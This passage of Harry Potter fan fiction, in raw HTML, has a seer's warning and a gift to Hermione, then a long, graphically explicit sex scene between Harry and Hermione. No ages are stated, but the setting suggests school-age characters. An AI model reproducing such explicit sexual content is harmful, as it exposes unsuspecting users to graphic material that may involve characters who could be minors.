doesn&#8217;t imply to Mr. Potter, it goes for you too. It actually applies to\nall six of you.&nbsp; All of you need to be\ncareful, there will come a time where you will have to make a decision. What\nwould you do if you were forced into a situation where you had no control, the\nchoice to sacrifice yourself or &#8220;Inas looked right at Harry, &#8220;Or you Mr.\nPotter, where only one of you would get out alive. What would you choose?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nstood, &#8220;I&#8217;ve had enough, I&#8217;m not going to sit here and listen to you tell me\nthat all of us who ever we are, are going to die.&nbsp; I know we&#8217;re all in danger from,&#8221; She paused,\ntook a deep breath &#8220;You-Know-Who.&nbsp; No one\nis safe, not wizards, not witches and not even muggles. So tell me something I\ndon&#8217;t know.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Inas\nlooked up at the enraged young lady, she looked and thought so much like <i style="mso-bidi-font-style:normal">her</i> it was astounding. &#8220;No Miss Granger,\nthere is something worse out there than You-Know-Who.&nbsp; Something far worse.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And\njust what is that something?&#8221; Harry was feeling irritated as well.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ndon&#8217;t know exactly, but I can feel an evil power out there worse than\nYou-Know-Who&#8217;s.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\nnot going to stand here and listen to this a moment longer, if you can&#8217;t tell\nus exactly what is worse the You-Know-Who, then what good are you?&#8221; Hermione\nwas bitter, she glanced down at Harry still sitting in the chair, &#8220;Harry I&#8217;m\nleaving.&#8221; She started for the door.&nbsp; As\nHarry stood from the chair Inas was holding a small crystal orb in her hand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nreached the door with Hermione, but Inas called to them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nturned around and Inas tossed the orb at Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Here\nMiss Granger, you&#8217;ll need this.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nOrb seemed to sail gracefully through the air and land in Hermione&#8217;s\noutstretched hand. The second it touched her hand all the bad a depressed\nfeelings she had were disappearing.&nbsp; She\nlooked over at Inas.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nwill never know when the Orb or Ellia will be needed.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So\nthis is the Orb of Ellia.&#8221; Hermione said quietly, mostly to herself.&nbsp; She glanced it at, she could feel the\npositive energy coming from it, instead of the negative energy she had received\nfrom the Orb or Ereena.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It\nwill reverse the effects the Orb or Ereena had on you, all you have to do is\nhold it once every day, you&#8217;ll be back to your old self in no time.&#8221; Inas said\nwith a gentle smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nnodded then glanced at Harry with a small smile, &#8220;I&#8217;m done here, if you are\nthat is?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nsmiled nodding, &#8220;yes I&#8217;m all done here as well.&#8221; He took her hand in his and\nleft Inas&#8217;s shop.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nwondered around looking for Ron and Zara, finding them by the statue as\nplanned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So\ndid you guys get everything done that you needed to do?&#8221; Ron asked, his arm was\naround Zara.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione looked at each other before Harry opened his mouth to speak.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nRon.&#8221; Harry smiled.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nwent into the Golden Swan pub and Zara paid for the use of the fire place, and\nproceeded to use floo powder to get back to her house.&nbsp; Zara threw the floo powder into the fire and\nsaid. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Zara\nReynolds house.&#8221; And she was gone.&nbsp; The\nrest of them followed suit&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After\na lovely dinner, they relaxed in the family room glancing at the Christmas tree\ndecorated with colored glass ornaments and multicolored, blinking lights.\nCrystal and Guido were talking about Christmas eve which was in three days and\nthat the two of them would be leaving that day to go on vacation and wouldn&#8217;t\nbe back until New Years day.&nbsp; Crystal and\nGuido stood.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nI&#8217;ve gotta a club to run, I&#8217;ll see you all tomorrow sometime.&#8221; Crystal replied,\n&#8220;come on Guido let&#8217;s get going.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Guido\nnodded and followed Crystal out of the room.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron,\nHarry and Hermione were sitting alone on the sofa when Zara put the last\nChristmas present under the tree. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;There\nnow, that should do it.&#8221;&nbsp; Zara smiled\nlooking at the Christmas tree, she has always loved Christmas, it was one her\nfavorite holidays.&nbsp; She couldn&#8217;t help a\nlarge yawn as she stretched up towards the ceiling.&nbsp; Zara glanced up at the clock, it was only\neleven thirty, but she was tried.&nbsp;\nTurning around she faced her friends, &#8220;okay all, I&#8217;m calling it a\nnight.&#8221; She smiled and started walking out of the living room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nstood immediately &#8220;uh yeah, same here.&#8221; He yawned also, or at least he hoped it\nlooked convincing.&nbsp; He too left the\nliving room leaving Harry and Hermione alone.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nsnuggled closer to Harry, resting her head against his chest. She felt his hand\nstroking her hair.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This\nis nice, just sitting here with you.&#8221; She said looking up at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nsmiled lightly gazing down at her, her deep chocolate brown eyes were warm with\naffection. He wanted to melt within them.&nbsp;\nIf he looked hard enough he could probably see what eternity would look\nlike.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nthis is very nice.&#8221; Harry said, then kissing her lightly on the forehead,\nsmoothing her hair way from her face. &#8220;Are you thinking about what Inas said\nearlier this afternoon?&#8221; He ran his fingers through her hair, trying to comfort\nher troubled thoughts. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Sighing,\nHermione rested her head against his chest.&nbsp;\n&#8220;Yes.&#8221; She answered truthfully.&nbsp;\n&#8220;But sense when do I take divination seriously, right?&#8221;&nbsp; Yet she sure seemed to know her stuff, that\nwoman Inas knew things from Hermione&#8217;s past as well.&nbsp; It was slightly disturbing.&nbsp; She would try not to think of that right now.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">When\nhe glanced down at her he found her gaze, she was looking up at him with slight\nworry in her eyes. He lifted his hand, tenderly cupping her cheek.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We&#8217;ll\nbe alright Hermione.&#8221; He lightly rubbed his thumb across her cheek.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Sitting\nup Hermione intently held his gaze, &#8220;Harry you know I love you.&nbsp; If it ever came down to it I would even give my\nlife for you.&#8221; A silent tear fell from her eye.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nsmiled briefly &#8220;I would give my life for you as well.&#8221; Harry leaned in kissing\nher tears away.&nbsp; He pulled back gazing at\nher.&nbsp; &#8220;We protect each other.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nnodded with a small smile forming at her lips.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">An\ninstant later his lips pressed against hers in a soft kiss, he was going to\npull back but her arms wound around pulling him against her.&nbsp;&nbsp; They parted for a moment, he sucked in a\nbreath, he framed her face with gentle hands and his mouth came together with\nhers.&nbsp; She tightened her embrace around\nhim when his tongue swept along the seam of her lips which parted instantly\nallowing him to enter the softness of her mouth, he kissed her deeply, his\ntongue stroking against hers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nfell backwards on the sofa, him on top of her.&nbsp;\nHe pulled his mouth from hers, lightly pressing tender kisses down her\nneck, where he left a tiny love mark on the side of her neck. His mouth then\nwandering back up to her full, sweet honey lips.&nbsp; Hermione took in a breath.&nbsp; Harry pulled back a bit, gazing at her.&nbsp; Hermione reached up with her hand cupping his\ncheek, gliding her thumb along his bottom lip.&nbsp;\nThat simple touch ignited the fire, a brilliant light flared in his\neyes, and abruptly had her face in his hands and he was kissing her, tugging on\nher mouth, devouring it, pressing it open.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her\nhands, fingers slowly trailed down his back, cradled his bottom, squeezing\ngently.&nbsp; He groaned, shifting his body so\nher thighs opened and his legs pushed between them. She gasped into his mouth\nfeeling him between her legs.&nbsp; Even\nthough they were both still fully clothed she could feel the hardest part of\nhim press against her.&nbsp; He shifted&nbsp; slightly so his hand could drift down lower,\nto cover over her breast.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nwould have pulled back from their kiss and gasped but he wouldn&#8217;t let her go,\ntheir kiss continued, the heat between them growing, set aflame when she felt\nhis hand close and caress, squeezing her clothed breast gently.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nwanted to touch and caress more of her, he quickly moved from atop the shirt,\nlifting the clothing from the waistband of her jeans and was able to get\nunderneath the shirt.&nbsp; As soon as his\nfingers came in contact with the satin fabric covering her breasts, she pushed\nhim away, &#8220;wait... a&#8230; minute.&#8221; She managed to say, her words coming out in\nshort breaths.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Is\nsomething wrong?&#8221; He asked also trying to catch his breath.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nnodded, &#8220;we can&#8217;t do this here someone might see.&#8221;&nbsp; She nervously glanced around the room and\nthen back up into his enchanting green eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nnodded sitting up running his hand through his raven hair, &#8220;we can go up to my\nroom, that is if you still want to. I don&#8217;t want to put any such pressure on\nyou.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Instead\nof speaking Hermione stood.&nbsp; She bent\ntaking his hand in hers and pulled him to his feet.&nbsp; Hermione looked up at him, and he saw the\nanswer shining in her eyes, the answer yes.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nfelt a smile plant itself firmly on his lips, with her hand in his he led her\nup to his room.&nbsp; He opened the door for\nher and allowed her to enter first.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A\nnew sense of nervousness crept over her as she stepped into the room bathed by\nthe bright full moonlight. She heard the door close behind her and turned\nfacing him, finding him leaning against the door.&nbsp; She wasn&#8217;t sure if she should step near to\nhim or wait for him to approach her, instead she turned around.&nbsp; Her back was to him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nfelt a pair of strong arms circle around her, gently pulling her back against\nhim. Simply holding her probably wanting to ease her nerves, but the more he held\nher the more she wanted his intimate touch.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nknew she was nervous, he was too.&nbsp; But he\nhad to make her feel right and comfortable.&nbsp;\nFirst romantic encounters tend to be really hard on person, especially a\nwoman.&nbsp; &#8220;Are you nervous?&#8221; He asked in soothing\ntones.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\ngreat heavens yes.&#8221; She blurted out without really thinking; horrified she\nturned around covering her mouth with her hand and glanced up at him. &#8220;I&#8217;m\nsorry I didn&#8217;t mean to say that.&#8221; Her voice was muffled by her hand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nsimply smiled and gently lifted a hand to pull hers away from her mouth, &#8220;it&#8217;s\nalright, quite understandable really.&#8221; He pulled her into his embrace, his arms\ngoing around her. Feeling her clinging to him he stroked her hair with a gentle\nhand.&nbsp; He let his fingers thread through\nthe silk strands cascading down her back, he repeated the process a few times,\nbefore stepping back to look at her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\ntrust me don&#8217;t you?&#8221; He asked searching her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ntrust you with my life.&#8221; She said in a whisper.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nalready know that.&#8221; Harry said with a smile, &#8220;Hermione do you trust me with\nyour heart, body and soul?&#8221; His smile faded.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nI do.&#8221; She didn&#8217;t have to think about it, she trusted him with anything and\neverything.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">His\nsmile returned and he stepped closer to her brushing his lips against hers, she\nshivered at the very brief encounter as their mouths had met for that split\nsecond. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\ntook her hand in his and led her over to the bed.&nbsp; He took off his glasses and set them on the\nnightstand next to the bed. He could see her very clearly, as if he didn&#8217;t need\nhis glasses anymore.&nbsp; Hermione wasn&#8217;t\nthat far away from him; they were almost nose to nose, so of course he could\nsee her clearly.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">His\narms wrapped her in a strong embrace pulling her to him, he felt her palms lay\nflat against his chest and slide up over his shoulders and around his\nneck.&nbsp; He lowered his mouth against hers,\nfeeling an equal pressure from her lips.&nbsp;\nHis tongue glided over the seam of her closed lips, they parted, her\nmouth opened to him.&nbsp; His kiss deepened,\ntasting the very essence of her tantalizingly sweet mouth.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">His\nhands wandered down to the edge of her shirt, he stopped for a moment looking\nat her, searching her eyes. Wanting to make sure that this is what she wanted\nas well, he didn&#8217;t want to presume anything and make her feel out of control.\nHarry saw her give a slight nod, with his eyes still locked with hers he began\nlifting her shirt up, and then over her head. He dropped it to the floor and\nkicked it out of the way.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her\nhair cascaded down over her shoulders in curled ringlets.&nbsp; With a gentle hand he swept her hair off of\nher shoulder, his fingers lightly grazing the bare spot just above her breast,\nthe light touch made her suck in a breath.&nbsp;\nHarry bent slightly his lips meeting with hers again, he could never get\nenough of her kiss, the feel of her mouth, the shape of her lips were\ncompletely inviting and he took full advantage of it.&nbsp; His fingers trailed down her back, tenderly\nfeeling the soft of her skin and passing over the satin brassier clasp. He\nwould take care of that in a little bit.&nbsp;\nHis hands continued to wander down her back over her bottom causing her\narms to tighten around him, she gave a soft moan saying she wanted more. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Harry wanted to feel her soft skin not the\nrough material of her jeans.&nbsp; His mouth\nopened hers, his tongue sliding into her mouth, mingling.&nbsp; While he kissed her harder, stronger, his\nhands reached around to the front of her jeans unbuttoning them quickly.&nbsp; He gently pushed the material down her\nslender hips, and she stepped out of them and they were kicked to the side out\nof the way.&nbsp; His finger tips grazed the\nsatin of her panties, he pulled back from their kiss, glancing down. Blue they\nwere dark blue.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nalmost lost all his self control, his favorite color was blue and it looked so\ngood on her.&nbsp; There she stood in matching\nundergarments, and the way her body curved, the fullness of her breasts, he had\nto fight the urge to tear her brassier and panties from her body and take her\nright then and there.&nbsp; Harry looked up at\nthe ceiling taking a deep breath, no he had to keep his self control.&nbsp; He needed to her to feel safe and\ncomfortable.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Wondering\nif she did something wrong, Hermione lightly touched his shoulder.&nbsp; &#8220;Are you okay?&#8221; She asked with concern then\nmaybe she thought it was something about her that he didn&#8217;t like.&nbsp; &#8220;Do I look alright?&#8221; She was cautious and a\nbit self conscious.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nlooked down at her, &#8220;everything is more than alright.&nbsp; You just look really,&#8221; he stared into her\neyes a moment longer. &#8220;Really beautiful.&#8221; He took a deep breath, letting his\neyes roam all over her satin covered breasts down along her flat tummy, to the\nV that separated her shapely thighs, down to her perfect toes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">With\nhim looking at her like that Hermione took a step closer to him, her fingers\nlightly dancing across his cheek which got his attention. His gaze focused on\nhers as she framed his face with her hands and brought his mouth to hers in a\ndeep surrendering kiss, she nearly devoured him.&nbsp; She pressed her body up against his, fitting\nto his frame. Her arms engulfed him in a tight embrace so her breasts were\npressed tightly against his chest. He moaned into her mouth with the feel of\nher breasts flattened against him.&nbsp; He\nwanted no, needed to feel her, touch her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">As\nif reading his mind she grabbed the hem of his shirt and he helped her pull it\nup and off of him. Her palms flattened against his chest, the silky feel of his\nskin beneath her palms delighted her, she slid them down lower against his\nstomach tracing each muscle with gentle fingers.&nbsp; She moved the last little distance and\ntouched her lips to his. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nopened his mouth to her kiss which grew more fierce, longing,&nbsp; He too devouring the sweet essence of his\nHermione.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s\nmouth left his only to kiss down his throat. He threw his head back feeling the\nlight suction from her mouth leaving her mark on him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nmoved slowly backwards toward the bed, bringing her with him.&nbsp; They fell together onto the softness of the\ncomforter, where he was slightly on top of her.&nbsp;\nShe looked up at him and he gave her a soft smile before bringing his\nmouth to hers, kissing her again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">While\nkissing her, he lifted a hand to stroke her hair, his fingers threading through\nthe silk with lithe movements.&nbsp; His\nfingertips tickled down her cheek, along the soft the side of her neck, over\nher collarbone to trace small tantalizing patterns on the area just above her\nbreast, her body shivered with the anticipation of his touch.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Gently,\nhis palm covered over the round firmness, the satin was in his way again.&nbsp; Her kisses were more fierce, when his thumb\ngrazed the sensitive tip causing her to moan in extreme pleasure.&nbsp; Hermione pulled her mouth from his when she\nfelt her brassier slip off and she felt the cool air around her, and then his\nhand again returned to her. She gasped out feeling his hand curve around her\nbreast squeezing it ever so gently causing yet another gasp from within her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nfelt him kiss her neck, heading downward, his tongue lightly flicking at the\nhardened tip of her breast, he moved repeating the process, not ignoring her\nother breast as she arched her back trying to fight back another moan of\npleasure which escaped her from the wonderful feelings he was creating with his\ntongue and mouth. Harry lifted his head finding her lips with his.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both\nof his palms brushed over her breasts where he molded and caressed, then slowly\ntraveled down over her tummy, to run over the satin of her panties he pulled\nback slightly looking down at her, his eyes radiant. &#8220;Hermione.&#8221; He moaned out.\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nopened her eyes looking up at him, she was drowning in his deep pools of green.\nShe cried out feeling his hand cover over her V between her thighs.&nbsp; Her eyes widening with the sensation as he\npressed her silk material against her sex while stroking her.&nbsp; A tiny squeak found its way out of her throat\nas the warmth between her legs gathered and her heart beat faster.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">When\nhis other hand reached its destination, Harry gracefully brought her panties\ndown and off of her, tossing them to the floor.&nbsp;\nHe sucked in a breath.&nbsp; He\ncouldn&#8217;t help staring at her in all her naked glory.&nbsp; She was breathtaking.&nbsp; Everything about her was just perfect.&nbsp; When his gaze met hers he gave her a tiny\nsmile, He put his arms around her and rolled over on his back bringing her up\nso that she was on top of him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s\nfingertips lightly touched his chest, running over his stomach and back up\nwhere her palms flattened against his hard, now sculpted chest.&nbsp; She stared into his eyes feeling his heart\nbeat increasing with her every touch. She leaned down placing a tender kiss to\nhis neck, she then trailed her tongue slowly down his throat, she felt him\nshiver a bit and moan at the sensation her mouth was now creating, her lips touched\nhis chest.&nbsp; He let out a another soft\nmoan with the exquisite feeling her mouth on his skin as she flicked her tongue\nout letting it glide over his stomach, then back up along his hard chest, up\nthe side of his neck where she suckled making another mark on him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her\npalm slowly slid down his stomach to the button on his jeans, he groaned\nfeeling her hand on him he couldn&#8217;t take it, the restrictive material was\npreventing her wanted touch.&nbsp; As if\nreading his mind she quickly unbuttoned his jeans and her hand slipped inside.\nHe gave a loud gasp when her hand came in contact with his hard member, her\nhand closed around him, her fingers lightly teasing. Causing him to gasp and\nmoan her name.&nbsp; Hermione closed her eyes blissfully\nmemorizing the way he responded to her touch, the way he trembled beneath her,\nhe was vaguely aware of his thrusting against her hand.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\ncouldn&#8217;t take it anymore, Harry sat up and abruptly grabbing her face within\nhis hands, his mouth sealed over hers, he pushed her mouth open with his. The\nway he kissed her was strong and hard, hot and needy.&nbsp; His tongue nearly attacking hers, but she\nreturned the kiss with just as much hot, hard want.&nbsp; He pushed her back down against the bed with\nhim on top of her once more.&nbsp; He removed\nthe rest of his clothing which was thrown to the floor in haste.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nworked more quickly now, his hand reaching it&#8217;s destination between her thighs,\nhe stroked his fingers between the silky folds of her sex, rubbing his thumb\nagainst the tiny button that caused her to writhe and shake with pleasure.\n&#8220;Harry!&#8221; She cried out as she felt a finger slip gently inside her, she\nclutched his shoulders hard. Gasping his name over and over again as his\nfingers continued thrusting in and out of her in a steady rhythm fueling the\nfire burning already within her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">In\nan instant he pulled his hand away.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;No,&#8221; She cried out in disappointment, she\nwanted and needed it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We&#8217;re\nnot done yet love.&#8221; He whispered and he saw her nod.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nspread her thighs apart and positioned himself, he looked deeply into her eyes,\ntheir gazes were locked as he shifted his hips and slowly pushed himself just a\nlittle bit inside her.&nbsp; She gasped as her\neyes widened at the feel of him. He sighed pushing himself in a little more, he\nstopped for her to get used to him there and conform to him.&nbsp; &#8220;Are you alright?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nnodded, &#8220;a little more.&#8221; She managed to get out.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nslowly pushed himself and was almost all the way inside of her, she formed\naround him so tightly that he gasped at the pleasurable feeling of her inner\nbeauty hugging him.&nbsp; He reached the\nbarrier of her virginity, and as slowly and gently as he could pushed through\nit.&nbsp; She cried out in slight pain he\nstopped immediately. He saw light tears form in her eyes. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nwiped them away with his thumb, he kissed her cheek where the tears were still\nfalling, &#8220;Hermione?&#8221; His gaze searched hers, then continued to kiss away her\ntears in a soft and soothing fashion.&nbsp; He\nlooked at her again stroking his fingers through her brown tresses.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8212;it\nhurts a bit.&#8221; She admitted trying to ignore the pain.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nleaned forward pressing a soft kiss against her neck, her lips, to the tip of\nher nose.&nbsp; He looked into her eyes.&nbsp; He knew it would hurt and he would try to\nsooth her as best he could to let her know that the pain would in fact go\naway.&nbsp;&nbsp; But if she wanted to stop, he\nwould.&nbsp; &#8220;Do you want to stop?&nbsp; I&#8217;ll do what ever you want.&#8221; He assured.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No,\ndon&#8217;t stop.&#8221; Hermione gave a soft smile, 